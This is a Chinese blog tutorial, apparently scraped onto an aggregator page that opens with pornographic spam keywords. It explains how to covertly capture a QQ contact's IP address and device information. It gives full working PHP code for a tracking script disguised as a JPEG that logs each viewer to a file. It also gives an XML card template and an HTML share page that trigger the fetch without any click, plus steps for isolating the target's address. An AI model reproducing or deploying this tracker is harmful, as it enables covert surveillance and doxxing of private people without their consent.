日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

QQ通过xml卡片自动探测对方ip

發(fā)布時(shí)間:2023/12/10 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 QQ通过xml卡片自动探测对方ip 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

鴿了這么久,終于來(lái)寫這篇文章了,話說(shuō)回來(lái),這個(gè)方法是一個(gè)月前就開始用的了,現(xiàn)在才來(lái)寫,因?yàn)槲覒新?#xff0c;絕對(duì)不是因?yàn)槲覒泄?#xff0c;是因?yàn)橹暗姆椒ㄒ恢辈贿m合絕大多數(shù)用戶,今天才發(fā)現(xiàn)了每個(gè)人都能用的方法。

起因是這樣的,某一天我像往常一樣刷著qq,突然在之前加的一個(gè)qq機(jī)器人群發(fā)現(xiàn)一個(gè)機(jī)器人發(fā)出這樣一張卡片:誰(shuí)在窺屏。我心想難不成你還真能知道我在窺屏?幾秒鐘后我傻眼了,該機(jī)器人返回了幾個(gè)ip和瀏覽器ua信息,其中我的ip和手機(jī)型號(hào)赫然出現(xiàn)在我的眼前,難以置信,愣了半天后,心里立馬冒出了好奇的想法,今天必須把這個(gè)原理搞明白,不然我會(huì)睡不著覺。經(jīng)過(guò)一番詢問(wèn)老師(百度),明白了這個(gè)功能是通過(guò)qq加載xml卡片時(shí)會(huì)自動(dòng)訪問(wèn)xml卡片中的圖片鏈接,從而獲取到正在看聊天記錄的ip,正好前幾天研究了xml卡片消息,明白原理后立馬開始想思路復(fù)現(xiàn)。

0x01 php獲取ip

因?yàn)椴皇呛軙?huì)php,就到網(wǎng)上找了個(gè)找,發(fā)現(xiàn)需要用到如下幾個(gè)函數(shù):
getenv('HTTP_CLIENT_IP')
getenv('HTTP_X_FORWARDED_FOR')
getenv('HTTP_X_FORWARDED')
getenv('HTTP_FORWARDED_FOR')
getenv('HTTP_FORWARDED')
以及變量:
$_SERVER['REMOTE_ADDR']
$_SERVER['HTTP_REFERER']
$_SERVER['HTTP_USER_AGENT']
開始構(gòu)造完整代碼,首先是在大佬文章中找到的獲取真實(shí)ip的函數(shù)(直接白嫖):

function getIP() {if (getenv('HTTP_CLIENT_IP')) {$ip = getenv('HTTP_CLIENT_IP');}elseif (getenv('HTTP_X_FORWARDED_FOR')) {$ip = getenv('HTTP_X_FORWARDED_FOR');}elseif (getenv('HTTP_X_FORWARDED')) {$ip = getenv('HTTP_X_FORWARDED');}elseif (getenv('HTTP_FORWARDED_FOR')) {$ip = getenv('HTTP_FORWARDED_FOR');}elseif (getenv('HTTP_FORWARDED')) {$ip = getenv('HTTP_FORWARDED');}else {$ip = $_SERVER['REMOTE_ADDR'];}return $ip;}

如果對(duì)方有代理的話$_SERVER['REMOTE_ADDR']獲取到的就會(huì)是代理的ip,此函數(shù)是為了獲取真實(shí)ip。

為了更掩人耳目(怎么說(shuō)得跟諜戰(zhàn)似的…),我們還需要用到imagecreatefromjpeg()函數(shù),他的作用是將php文件偽裝成圖片,構(gòu)造代碼如下:

$im = imagecreatefromjpeg("1.jpg");//這樣php返回的圖片就會(huì)是同目錄下的1.jpg。 header('Content-Type: image/jpeg'); imagejpeg($im); imagedestroy($im);

再加上輸出獲取到的值到外部文件等功能,最終得到的代碼為:

<?php function filter_dangerous_words($str){$str = str_replace("'", "‘", $str);$str = str_replace("\"", "“", $str);$str = str_replace("<", "《", $str);$str = str_replace(">", "》", $str);return $str;}function getIP() {if (getenv('HTTP_CLIENT_IP')) {$ip = getenv('HTTP_CLIENT_IP');}elseif (getenv('HTTP_X_FORWARDED_FOR')) {$ip = getenv('HTTP_X_FORWARDED_FOR');}elseif (getenv('HTTP_X_FORWARDED')) {$ip = getenv('HTTP_X_FORWARDED');}elseif (getenv('HTTP_FORWARDED_FOR')) {$ip = getenv('HTTP_FORWARDED_FOR');}elseif (getenv('HTTP_FORWARDED')) {$ip = getenv('HTTP_FORWARDED');}else {$ip = $_SERVER['REMOTE_ADDR'];}return $ip;}$ip = getIP();@$referer = $_SERVER['HTTP_REFERER']."\r\n";$ua = $_SERVER['HTTP_USER_AGENT']."\r\n\r\n";date_default_timezone_set("Asia/Shanghai");$date_ = date("Y.m.d,h:i:sa")."\r\n";$hack = 'date: '.$date_.'ip:'.$ip."\r\n".'referer: '.$referer.'ua: '.$ua;$hack = filter_dangerous_words($hack);$op = fopen('hack.txt','a+');fwrite($op,$hack);fclose($op);$im = imagecreatefromjpeg("1.jpg");header('Content-Type: image/jpeg');imagejpeg($im);imagedestroy($im);?>

這樣核心文件iptest.php就構(gòu)造完成了。

0x02 發(fā)送xml卡片

這里有兩種方法,一一給大家說(shuō)明一下

0x02.1 通過(guò)插件

這個(gè)方法就是之前說(shuō)到的不適合大部分人的方法,因?yàn)榇朔椒ㄊ紫刃枰謾C(jī)有root權(quán)限,其次需要刷入Xposed框架,才能使用模塊。當(dāng)然如果有這些條件就方便多了。

此方法用到的模塊:QNotified模塊或者QQ復(fù)讀機(jī)模塊(目前需收費(fèi)),下載鏈接就不寫出來(lái)了,百度即可。

有了這些東西直接構(gòu)造xml卡片就行了,我們隨便找個(gè)瀏覽器分享網(wǎng)頁(yè)到qq,長(zhǎng)按分享的消息就可以直接復(fù)制代碼,因?yàn)槟承﹛ml卡片容易被qq和諧,所以這里提供一個(gè)比較穩(wěn)定的示例代碼:

<?xml version='1.0' encoding='UTF-8' standalone='yes' ?><msg serviceID="146" templateID="1" action="web" brief="聊天窗預(yù)覽文字" sourceMsgId="0" url="跳轉(zhuǎn)鏈接" flag="0" adverSign="0" multiMsgFlag="0"><item layout="2" advertiser_id="0" aid="0"><picture cover="配合iptest.php偽造圖片使用,預(yù)覽圖片地址" w="0" h="0" /><title>標(biāo)題</title><summary>描述</summary></item><source name="QQ超級(jí)會(huì)員" icon="" action="app" appid="-1" /></msg>

各個(gè)需要用到的參數(shù)位置都用漢字標(biāo)明了,自己修改即可,修改完以后粘貼到qq的輸入欄,長(zhǎng)按發(fā)送按鈕就能直接轉(zhuǎn)換為xml卡片。

劃重點(diǎn):此方法對(duì)電腦端無(wú)效,因?yàn)殡娔X端只會(huì)加載url.cn網(wǎng)址下的圖片鏈接

0x02.2 直接分享

前面的方法確實(shí)比較簡(jiǎn)單,不過(guò)要求太多,這個(gè)方法就不需要那么多要求了,不過(guò)相對(duì)來(lái)說(shuō)比較麻煩。

因?yàn)閝q分享機(jī)制的原因,導(dǎo)致直接分享出去的xml卡片會(huì)先將圖片地址轉(zhuǎn)換為騰訊的圖床,所以探測(cè)鏈接不會(huì)生效,后來(lái)受某網(wǎng)站www.location.run(收費(fèi),自行辨別)的啟發(fā)發(fā)現(xiàn)了這種方法。

該網(wǎng)站可通過(guò)qq內(nèi)直接分享來(lái)獲取對(duì)方ip,經(jīng)測(cè)試還挺準(zhǔn)確的,不過(guò)要付費(fèi)。。。這就很雞肋了,窮要窮得有志氣,我是不會(huì)給一分錢的(惱),搞懂他的原理不就得了,事實(shí)證明沒有這么簡(jiǎn)單,前幾天一直在研究也沒想出辦法,因?yàn)樵摼W(wǎng)站生成的定位鏈接獲取到的html源碼只有幾個(gè)大大的單詞:404 Not Found。正當(dāng)我百思不得其姐的時(shí)候qq里的一位大佬給了我提示(大佬用的是小號(hào)所以沒有留名,不過(guò)這里還是感謝大佬了):是因?yàn)閡a的原因。。。大佬說(shuō)出這句話的時(shí)候我只想給自己一個(gè)大大的耳光,我踏馬怎么沒想到呢,火狐改ua,進(jìn)入該網(wǎng)站,F12一打開,果然獲取到了正確的源碼iptest.html:

<head><meta itemprop="name" content="xml卡片標(biāo)題" /><meta itemprop="description" content="xml卡片描述" /><meta itemprop="image" content="iptest.php文件鏈接" /><title>標(biāo)題</title></head>

劃重點(diǎn):這里需要注意的是,iptest.php文件鏈接需要在其后帶一串無(wú)效參數(shù)才能正常轉(zhuǎn)換為短鏈接,例如http://www.test.com/iptest.php?abcdefg 否則qq仍然會(huì)把探測(cè)鏈接轉(zhuǎn)為圖床鏈接,至今沒有搞懂為什么,不過(guò)照做就完了

將源碼按照自己的配置修改后,上傳服務(wù)器即可

0x03 篩選ip

前面說(shuō)到的兩種方法都能確確實(shí)實(shí)獲取到ip沒錯(cuò),不過(guò)畢竟是經(jīng)過(guò)了別人家的門,再怎么說(shuō)也會(huì)留下一點(diǎn)痕跡,這里的痕跡就是騰訊服務(wù)器的ip,那么怎么篩選出真正的ip呢?

說(shuō)是篩選,其實(shí)也就幾個(gè)ip,上述兩個(gè)方法獲取到的ip略有不同,下面說(shuō)一下。

0x03.1

第一種方法獲取到的ip,首先第一個(gè)會(huì)獲取到騰訊服務(wù)器的ip,無(wú)ua值,具體因?yàn)槭裁催€不知道,大概是因?yàn)榱奶煊涗浡蔚皆品?wù)器的原因;

然后第二個(gè)獲取到的ip便是本機(jī)的ip,因?yàn)楸緳C(jī)會(huì)最先預(yù)覽一次,通過(guò)iptest.php記錄下來(lái)的ua值很容易辨別;

排除了這兩個(gè)ip,剩下一般就是對(duì)方的ip了,當(dāng)然前提是你只發(fā)給了目標(biāo),因?yàn)榉椒ㄟ^(guò)于強(qiáng)大,無(wú)需點(diǎn)擊即可獲取,不排除會(huì)有特殊情況,大家隨機(jī)應(yīng)變。

0x03.2

第二種方法獲取到的ip就要多一點(diǎn)了,因?yàn)榻?jīng)過(guò)的步驟比較多。

首先第一個(gè),只要點(diǎn)擊了分享方式選擇qq,他就會(huì)自動(dòng)先在云端生成一個(gè)xml卡片,此時(shí)會(huì)將iptest.php文件鏈接轉(zhuǎn)換為騰訊短鏈url.cn,所以這里獲取到的第一個(gè)ip是轉(zhuǎn)短鏈api的服務(wù)器的ip,ua:myop/1.0 ;

然后第二個(gè),當(dāng)你選擇了一個(gè)好友后會(huì)預(yù)覽xml卡片,讓你確認(rèn)是否發(fā)送,此時(shí)本機(jī)最先預(yù)覽圖片,獲取到的是本機(jī)的ip;

最后第三個(gè),同上所述為聊天記錄漫游服務(wù)器的ip;

經(jīng)過(guò)多次反復(fù)測(cè)試,在某些情況下還會(huì)出現(xiàn)一個(gè)ua為iPhone的ip地址,非目標(biāo)ip,暫時(shí)還不清楚是為什么,推測(cè)也為轉(zhuǎn)短鏈的服務(wù)器ip,一般情況下不會(huì)出現(xiàn):

排除了以上三個(gè)ip剩下的即是對(duì)方ip。

0x04 測(cè)試過(guò)程

首先將上述的兩個(gè)文件上傳服務(wù)器,加上一張預(yù)覽用的圖片1.jpg,結(jié)構(gòu)如下:

0x04.1 第一種方法

首先編輯xml代碼,填上自己上傳的地址,輸入到發(fā)送欄,這里用我自己的服務(wù)器和小號(hào)備用機(jī)做測(cè)試

長(zhǎng)按發(fā)送按鈕轉(zhuǎn)成xml卡片消息

此時(shí)查看服務(wù)器,發(fā)現(xiàn)已經(jīng)生成了記錄hack.txt

文件內(nèi)容為

可以看到獲取到了三個(gè)ip,沒有ua值的是騰訊服務(wù)器的ip,第一個(gè)是大號(hào)本機(jī)的ip,第三個(gè)則是小號(hào)備用機(jī)(也就是探測(cè)目標(biāo)的ip)

未經(jīng)過(guò)點(diǎn)擊,ip探測(cè)成功√

0x04.2 第二種方法

首先qq內(nèi)打開iptest.html文件鏈接,點(diǎn)擊右上角,此時(shí)還未選擇分享方式,未獲取到ip

點(diǎn)擊“好友”,到達(dá)選擇好友界面,此時(shí)云端生成xml卡片,iptest.php文件鏈接被轉(zhuǎn)換為騰訊短鏈,獲取到了短鏈服務(wù)器的ip


選擇好友,確認(rèn)是否發(fā)送,本機(jī)預(yù)覽消息,此時(shí)獲取到本機(jī)ip


點(diǎn)擊發(fā)送,聊天記錄漫游到服務(wù)器,此時(shí)獲取到騰訊服務(wù)器ip

小號(hào)點(diǎn)開聊天記錄,自動(dòng)讀取了xml卡片,此時(shí)獲取到小號(hào)備用機(jī)(目標(biāo))ip

未經(jīng)過(guò)點(diǎn)擊,ip探測(cè)成功√

0x05 注意事項(xiàng)

經(jīng)過(guò)了多次測(cè)試,終于寫出了這篇文章,最后說(shuō)幾個(gè)全文的注意事項(xiàng),劃重點(diǎn)了哈!

1.所有的鏈接都會(huì)受到緩存的限制,所以一個(gè)iptest.php鏈接只能對(duì)一個(gè)目標(biāo)生效一次,可以通過(guò)修改后面的無(wú)效參數(shù)來(lái)更新緩存。

2.上面說(shuō)明獲取順序的時(shí)候,是按步驟順序?qū)懙?#xff0c;實(shí)際上獲取到的服務(wù)器ip記錄時(shí)間不一定按照順序記錄,但是基本上最后一個(gè)就是目標(biāo)ip,畢竟目標(biāo)是最后一個(gè)收到的嘛,當(dāng)然也不排除特殊情況,需要隨機(jī)應(yīng)變。

3.經(jīng)過(guò)多次測(cè)試,發(fā)現(xiàn)方法二存在特殊情況,某些時(shí)候iptest.html文件鏈接在qq內(nèi)打開時(shí)會(huì)存在該頁(yè)面本身被緩存的情況,導(dǎo)致iptest.php文件鏈接不會(huì)更新,緩存自然不會(huì)更新,所以無(wú)法成功獲取ip,這種情況下hack.txt不會(huì)記錄ip,所以比較好判斷。可以通過(guò)更改iptest.html文件名來(lái)更新頁(yè)面的緩存。

4.記得每一次探測(cè)后刪除hack.txt文件或改名,以免下一次使用時(shí)搞混。

0x06 后記

講真,在現(xiàn)在這個(gè)時(shí)代拿到ip并沒有什么實(shí)際的用處,頂多能夠嚇嚇小白或者在小白面前裝裝逼,但這里還是要說(shuō)一句,我只是做一個(gè)分享,若因此文章產(chǎn)生了比較重大的問(wèn)題(雖然不大可能),一切責(zé)任自負(fù),與本文作者無(wú)關(guān)!

本文用到的文件都在我的GitHub里,有什么不懂的大家可以留言問(wèn)我。
GitHub項(xiàng)目地址:https://github.com/YS-Neko/qq-xml-ip

本文原創(chuàng),轉(zhuǎn)載請(qǐng)注明出處

總結(jié)

以上是生活随笔為你收集整理的QQ通过xml卡片自动探测对方ip的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。